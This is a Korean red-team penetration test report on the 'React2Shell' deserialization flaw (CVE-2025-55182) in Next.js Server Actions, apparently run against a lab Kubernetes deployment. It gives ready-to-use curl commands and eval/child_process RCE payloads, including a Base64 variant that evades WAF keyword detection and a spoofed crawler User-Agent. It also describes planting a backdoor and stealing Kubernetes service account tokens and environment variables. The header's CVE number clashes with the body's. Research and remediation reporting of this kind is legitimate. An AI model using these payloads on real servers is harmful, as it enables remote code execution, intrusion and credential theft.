Next.js Scan_Report
2026년 React2Shell 침투 테스트
침투 테스트 결과 보고서
| 대상 | Next.js + React |
|---|---|
| 취약점 번호 | CVE-2025-00000 |
| 수행 기간 | 2025.12.22 ~ 2025.12.30 |
| 소속 | Red Team |
| 수행 인력 | 정민욱 |
목차
- 침투 테스트 수행 정보
1.1. 개요
1.2. 대상
-
침투 테스트 결과
-
취약점 상세 내용
3.1. 요약
3.2. 킬 체인 시나리오
3.2.1.정찰
3.2.2. 무기화
3.2.3. 전달
3.2.4. 악용
3.2.5. 설치
3.2.6. C2
3.2.7. 목적 달성
3.3 보안 패치 / 대응 방법 -
침투 테스트 수행 정보
1.1. 개요
- CVE-2025-55182 React2Shell 침투 테스트 결과 보고서
- CVE 취약점에 관한 연구를 목적으로 함
- 재현 환경 URL 및 IP는 Blue Team에서 제공
1.2. 대상
본 침투 테스트의 대상은 CVE-2025-55182 취약점을 포함하도록 구성된 웹 애플리케이션
및 해당 애플리케이션이 배포된 Kubernetes 기반 재현 환경임.
웹 애플리케이션은 Docker 컨테이너 형태로 패키징 되었으며, Kubernetes 클러스터 상에서
서비스 형태로 배포되어 외부 접근이 가능하도록 구성됨
| 플랫폼 | 재현 환경 | URL |
|---|---|---|
| Web | Kubernetes | https://protective-filed-viewing-ave.trycloudflare.com/ |
- 침투 테스트 결과
본 침투 테스트는 ‘CVE-2025-55182 React2Shell’을 재현한 환경에서 취약성 증명 및 연구 목적으로 진행함.
| No. | 경로 | 결과 |
|---|---|---|
| 1 | /api/action 엔드포인트 | React Flight Protocol 처리 엔드포인트 발견 |
| 2 | 환경변수 수집 | 60개 이상의 환경변수 수집 (K8s,CVE 서비스 정보 포함) |
- 취약점 상세 내용
3.1 요약
React Flight Protocl은 서버 - 클라이언트 간 React 컴포넌트를 직렬화하여 전송하는 프로토콜이다. Next.js는 Server Actions를 구현하기 위해 이 프로토콜을 사용하는데,
역직렬화 과정에서 type 필드를 검증 없이 globalThis 객체에서 참조한다.
공격자는 type: “eval” 을 전달하여 JavaScript의 eval() 함수를 호출할 수 있으며,
이를 통해 서버에서 임의의 코드를 실행할 수 있다.
3.2 킬 체인 시나리오
3.2.1. 정찰
타겟 애플리케이션에서 React Flight Protocol을 처리하는 엔드포인트를 찾기 위해
일반적인 Next.js 경로들을 테스트하였다.
| No. | 경로 | 결과 |
|---|---|---|
| 1 | /api/action | 취약점 확인됨 |
| 2 | /submit | 미확인 |
| 3 | /form | 미확인 |
| 4 | / | 미확인 |
RCE 검증을 위해 간단한 명령어로 코드 실행이 가능한지 확인하였다.
curl \-X POST "https://protective-filed-viewing-ave.trycloudflare.com/api/action"
\-H "Content-Type: text/x-component"
\-H "Next-Action: 1"
\-d '0:\["$","eval",null,{"children":"require('"'"'child_process'"'"').execSync('"'"'uname \-a'"'"').toString()"}\]'
발견 사항
- RCE 가능 확인
- Linux 환경 (aarch64)
- 커널 버전: 6.12.54
3.2.2. 무기화
RCE를 수행하기 위해 기본 RCE 페이로드와 WAF를 우회하기 위한 Base64 우회 페이로드를 준비
0:\["$","eval",null,{"children":"require('child_process').execSync('COMMAND').toString()"}\]\
0:\["$","eval",null,{"children":"require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==','base64').toString()).execSync(Buffer.from('BASE64_CMD','base64').toString()).toString()"}\]
Cloudflare WAF가 child_process, exec 같은 키워드를 탐지하는 것을 확인하였고, 이를 우회하기 위해 Base64 인코딩을 사용하였다.
- child_process ->
Y2hpbGRfcHJvY2Vzcw== - 실행할 명령어도 Base64로 인코딩
3.2.3 전달
페이로드를 타겟에 성공적으로 전송하는것을 목표로 삼고 진행한다
curl \-X POST "https://protective-filed-viewing-ave.trycloudflare.com/api/action"
\-H "Content-Type: text/x-component"
\-H "Next-Action: 1"
\-H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)"
\-d 'PAYLOAD' |
- Content-Type: text/x-component : React Flight Protocol 식별
- Next-Action: 1 : Next.js Server Actions 식별
- User-Agent : 일부 WAF 우회용으로 사용
페이로드가 성공적으로 전달되면 서버는 실행 결과를 다음 형식으로 변환한다.
| 1:E{"digest":"root"} |
| :------------------- |
3.2.4. 악용
-
시스템 정보 수집 및 권한 확인
-
Kubernetes 환경 확인
- 환경변수 수집
- root 사용자로 실행 중임을 확인
- 다수의 CVE 관련 내부 서비스 발견
- Kubernetes API 서버 주소 확인
- 총 60개 이상의 환경변수 수집
package.json 확인
- allowed0rigins: [“*”] : 모든 출처 허용
- CORS 설정이 매우 관대함
- reactStrictMode: false 보안 검사 비활성화
네트워크 정보
- Pod IP 확인 (같은 네트워크 대역 Pod들과 통신 가능)
- 게이트웨이 확인
- 다수의 터널 인터페이스 존재 (Kubernetes 네트워크 플러그인)
DNS 설정
- Kubernetes 내부 DNS 사용
- Namespace: simulation
- 내부 서비스 이름 해석 가능
컨테이너 확인
- Docker 컨테이너 내부에서 실행 중임을 확인
3.2.5 설치
bash 명령어로 백도어를 생성 후 정상적으로 “Backdoor Active” 출력됨을 확인하였다.
Node.js 파일 쓰기 함수는 차단되었으나 bash echo \> 명령은 성공하였다.
3.2.6. c2 반복적인 RCE 호출로 원격 제어를 유지하였다.
3.2.7. 목적 달성 Kubernetes Service Account 토큰과 CA인증서, 그리고 환경변수와 네트워크 정보 등 데이터 탈취가 가능하였으며 이는 추가적인 공격이 가능해진다.
3.3 보안 패치 / 대응 방법
- Next.js 버전 업데이트
단순히 package.json만 수정하는 것으론 부족하기에 최종 패치 버전 이상으로 업데이트
- Sever Actions 사용제한
Server action은 내부 ui 이벤트, 신뢰된 컴포넌트 경로에서만 사용 가능하도록 하고, 외부
요청에서 직접 Server Action 호출이 불가하도록 사용 제한
- WAF 규칙 적용
next-action 또는 rsc-action-id 헤더가 포함된 수상한 요청을 차단
RSC 서버를 가급적 최소 권한 계정으로 실행하고, 파일 시스템을 읽기 전용으로 설정하여
공격자가 파일을 수정하거나 웹쉘을 섪치하는 것을 방지